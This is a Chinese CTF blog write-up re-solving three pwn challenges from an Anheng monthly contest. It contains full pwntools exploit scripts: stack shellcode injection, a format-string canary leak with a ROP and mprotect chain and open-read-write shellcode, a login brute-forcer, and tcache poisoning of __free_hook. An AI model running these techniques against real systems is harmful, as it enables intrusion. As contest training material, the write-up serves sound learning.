前言
这个比赛其实是没抱着很认真的态度去打的,可能由于一贯的印象,下意识觉得安恒月赛,不是我这种小菜鸡能看的,毕竟从去年年尾学到现在,这种比赛我都是来凑人头的。但是这次,可惜了,后面看了下师傅的wp,发现,竟然不难,所以出篇博客复现一下吧,这是到目前为止,唯一全部pwn题都是我能做的了,也许,这就是进步了吧,岁月漫长,值得期待!
来源:http://rencvn.top/2021/09/26/PWN32/
https://www.cnblogs.com/LynneHuan/p/15335597.html
hehepwn
 image-20210928152753508
image-20210928152753508
常规checksec,64位保护全没开,第一想法就是执行shellcode
 image-20210928152907622
image-20210928152907622
 image-20210928152921816
image-20210928152921816
 image-20210928152851336
image-20210928152851336
首先,会有个输入点,并且还会打印我们输入的内容,只要我们输入满0x20个字符,就会连着rbp一起泄露出来,获取到栈上地址,后面还贴心的给了栈溢出。
那就明确了:栈上写入shellcode,借用得到来的栈上地址算出shellcode写入的地址,将这个地址填充到返回地址去,然后执行shellcode
 image-20210928153222539
image-20210928153222539
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | from pwn import *context(arch = 'amd64', os = 'linux', log_level = 'debug')
 
 p = remote("node4.buuoj.cn",29608)
 p.recvuntil("well you input:\n")
 p.send('a'*0x20)
 p.recvuntil('a'*0x20)
 
 stack_addr = u64(p.recv(6).ljust(8, '\x00'))
 log.info("stack_addr==>0x%x" %stack_addr)
 p.recvuntil("EASY PWN PWN PWN~\n")
 shellcode = asm(shellcraft.sh())
 print(hex(len(shellcode)))
 payload = shellcode.ljust(88, 'a') + p64(stack_addr - 80)
 p.sendline(payload)
 p.interactive()
 
 | 
hahapwn
 image-20210928145300688
image-20210928145300688
常规checksec,64位,没开PIE,RELRO也没开全
 image-20210928145345926
image-20210928145345926
 image-20210928145402864
image-20210928145402864
程序也十分简单,但是开了沙箱,所以是orw。给了格式化字符串,用来泄露canary的,以及一个明显栈溢出。
所以思路很明确的,也很简单,就是通过格式化字符串泄露出canary,其实由于长度够,还能再多泄露一个寄存器或者栈上存储的函数地址,从而获取libc地址,然后呢,这边泄露的选择寄存器上的没问题,刚开始我是选择栈上的stdin,然后发现远程这个打印出来是空的
 image-20210928152412946
image-20210928152412946
 image-20210928152432248
image-20210928152432248
换成寄存器上的libc地址就行了。拥有了libc和canary后就可以着手布置rop了,我的做法是使用mprotect修改权限然后跳转到read函数进行写入shellcode,最后跳转shellcode执行读取flag。师傅的做法就是直接用rop进行open,read,write的调用读取flag
 image-20210928152051899
image-20210928152051899
这题有点坑,看了师傅的wp也知道了,环境有点问题,官方给的附件里的libc版本是跟远程靶机差了一个小版本的,把libc换成2.23-0ubuntu11.3即可
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 
 | from pwn import *elf = ELF('./pwn')
 main = elf.sym['main']
 libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
 
 ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
 p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
 p = remote("node4.buuoj.cn",27901)
 
 context(arch = 'amd64',os = 'linux',log_level = 'debug')
 
 p.recvuntil("Welcome! What is your name?\n")
 p.sendline("%3p")
 p.recvuntil('0x')
 libc_base = int(p.recv(12),16) - 0xf73c0
 log.info("libc_base==>0x%x" %libc_base)
 p.recvuntil("0x")
 canary = int(p.recv(16),16)
 log.info("canary==>0x%x" %canary)
 p.recvuntil("What can we help you?\n")
 mprotect = libc.sym['mprotect'] + libc_base
 pop_rdi = libc_base + 0x0000000000021112
 pop_rsi = libc_base + 0x00000000000202f8
 pop_rdx = libc_base + 0x0000000000001b92
 read = libc_base + libc.sym['read']
 bss = 0x601000
 
 payload = 'a'*0x68 + p64(canary) + 'a'*0x8 + p64(pop_rdi) + p64(bss)
 payload += p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect)
 payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss + 0x80) + p64(pop_rdx) + p64(0x100) + p64(read)
 payload += p64(bss + 0x80)
 shellcode = asm(
 '''
 mov rsi, 0x67616c662f2e
 push rsi
 mov rdi, rsp
 mov rax, 2
 xor rsi, rsi
 syscall
 
 mov rdi, rax
 xor rax, rax
 mov rsi, rsp
 mov rdx, 0x50
 syscall
 
 mov rax, 1
 mov rdi, 1
 syscall
 ''')
 p.sendline(payload)
 sleep(0.1)
 p.send(shellcode)
 p.interactive()
 
 | 
datasystem
 image-20210928153319183
image-20210928153319183
checksec,64位保护全开
这题是三题里面最复杂的一题,因为在进入真正的程序前,有一个登陆程序,比较复杂,需要花时间进行审计
 image-20210928154615068
image-20210928154615068
开了沙箱
 image-20210928162959918
image-20210928162959918
 image-20210928163032723
image-20210928163032723
一进入,要先输入账号和密码通过验证,验证通过才能进入真正的有漏洞的程序。账号已经给:admin;密码要自己去找
 image-20210928165344870
image-20210928165344870
我先断点断在比较函数那,看看最终比较的值,第一个参数是我们输入的(原本输入的是八个a),第二个就是要比较的密码。然后我把下一次输入的值换成这个密码
 image-20210928165946197
image-20210928165946197
发现,第二个参数的第一个字符变成了0,那不是截断了吗?但是并没有通过验证,然后我去c代码敲了下,原来是要两个字符串同时都是’\x00’才会通过比较,一个是不行的~
 image-20210928170846837
image-20210928170846837
然后又试了一些随便输入的密码,惊讶的发现,得到的验证密码结果都是一样的,只有复制的密码那次会出现0,看了下wp,大佬推测是位数的问题,只有32位的数字才能让密码为0,我试了下确实是这样的,接下来就是寻找一个可以也让我们输入的密码被加密成首位是’\x00’就可以通过验证
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | import stringfrom pwn import *
 context.log_level="error"
 for c in range(0x100):
 c = c.to_bytes(1, 'big')
 p = process('./datasystem')
 p.sendafter("please input username: ", "admin\x00")
 p.sendafter("please input password: ", c*32)
 msg = p.recvline()
 if b"Fail" not in msg:
 print('='*60)
 print("a valid char:", c)
 print('='*60)
 p.close()
 
 | 
这是大佬的爆破脚本,最终获得两个可以通过的值:’c’和’\xec’。然后大佬是用IDA调试的,我以前有尝试过,但是无奈一直报错,但是gdb调试也是一样的,没差
 image-20210928171601841
image-20210928171601841
进入下一个程序了
 image-20210928190830374
image-20210928190830374
 image-20210928190852013
image-20210928190852013
这边v3返回值因为%s的缘故会把byte_50A0指向的字符全部作为欲写入的字符,而byte_50A0可以查看,全都是a,似乎有0x508个,所以这边在add写入的内容是溢出的。
 image-20210928193027743
image-20210928193027743
万事先泄露libc,这边要先申请再释放一个0x410的堆块,防止进入tcache bin中,然后再申请的得是0x8大小的堆块,因为snprinf会打印个数进去,不能超过八个,否则会把上面残留的bk指针破坏,从而可以泄露出libc地址
 image-20210928193842290
image-20210928193842290
 image-20210928194236357
image-20210928194236357
然后再反序释放三个堆块,申请回来,就会让上面的堆块是最先被申请的,然后通过溢出把堆块分配到0x23330000写入shellcode,之前再来一遍把fd指针为free_hook,申请过去改为shellcode地址,然后释放一个堆块就会跳转执行shellcode了
 image-20210928200129108
image-20210928200129108
成功!
 image-20210928203049261
image-20210928203049261
不容易,有朝一日我这小菜鸡竟然能赛后“ak”,泪目!
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 
 | 
 from pwn import *
 context(arch = 'amd64',os = 'linux',log_level = 'debug')
 elf = ELF("./datasystem")
 libc = elf.libc
 p = process('./datasystem')
 p = remote("node4.buuoj.cn",27961)
 def debug():
 gdb.attach(p,"b main")
 
 def add(size,content):
 p.sendlineafter(">> :\n",'1')
 p.recvuntil("Size: \n")
 p.sendline(str(size))
 p.recvuntil("what's your Content: \n")
 p.send(content)
 
 def edit(idx,content):
 p.sendlineafter(">> :\n",'4')
 p.recvuntil("Index:\n")
 p.sendline(str(idx))
 p.recvuntil("Content:\n")
 p.send(content)
 
 def show(idx):
 p.sendlineafter(">> :\n",'3')
 p.recvuntil("Index:\n")
 p.sendline(str(idx))
 p.recvuntil("Content: ")
 
 def free(idx):
 p.sendlineafter(">> :\n",'2')
 p.recvuntil("Index:\n")
 p.sendline(str(idx))
 
 p.recvuntil("please input username: ")
 p.send("admin")
 p.recvuntil("please input password: ")
 p.send('c'*0x20)
 add(0x410, 'a')
 add(0x60, 'b')
 add(0x60, 'c')
 add(0x60, 'd')
 free(0)
 add(0x8, 'a'*0x8)
 show(0)
 p.recvuntil('a'*0x8)
 libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3ec090
 log.info("libc_base==>0x%x" %libc_base)
 free_hook = libc_base + libc.sym['__free_hook']
 free(3)
 free(2)
 free(1)
 payload = 'a'*0x68 + p64(0x71) + p64(0x23330000)
 shellcode = asm(
 '''
 mov rdi, 0x23330000
 xor rsi, rsi
 mov rax, 2
 syscall
 
 mov rdi, rax
 mov rsi, rsp
 mov rdx, 0x50
 xor rax, rax
 syscall
 
 mov rdi, 1
 mov rax, 1
 syscall
 '''
 )
 add(0x60, payload)
 add(0x60,'b')
 add(0x60, './flag\x00' + shellcode)
 
 add(0x8,'c')
 free(4)
 free(0)
 add(0x8, 'a'*0x18 + p64(0x21) + p64(free_hook))
 add(0x8, 'd')
 add(0x8, p64(0x23330000 + 0x8))
 free(4)
 p.interactive()
 
 |